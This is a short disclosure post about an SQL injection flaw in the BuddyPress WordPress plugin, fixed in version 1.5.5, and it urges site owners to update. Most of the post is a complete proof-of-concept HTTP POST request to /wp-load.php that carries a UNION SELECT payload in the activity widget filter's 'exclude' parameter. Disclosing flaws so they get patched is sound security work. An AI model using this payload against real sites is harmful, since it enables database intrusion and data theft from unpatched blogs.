Hi, I would like disclosure SQL injection vulnerability if Buddypress plugin affecting last versions. This issue was reported to developers and resolved in 1.5.5 version. So, I suggest all having this plugin in their blogs update to last version, if you haven't done it yet. Example of POST message with sql injection is below. POST /wp-load.php HTTP/1.1 User-Agent: Mozilla Host: example.com Accept: */* Referer: http://example.com/activity/?s=b Connection: Keep-Alive Content-Length: 153 Content-Type: application/x-www-form-urlencoded action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))%3b--+
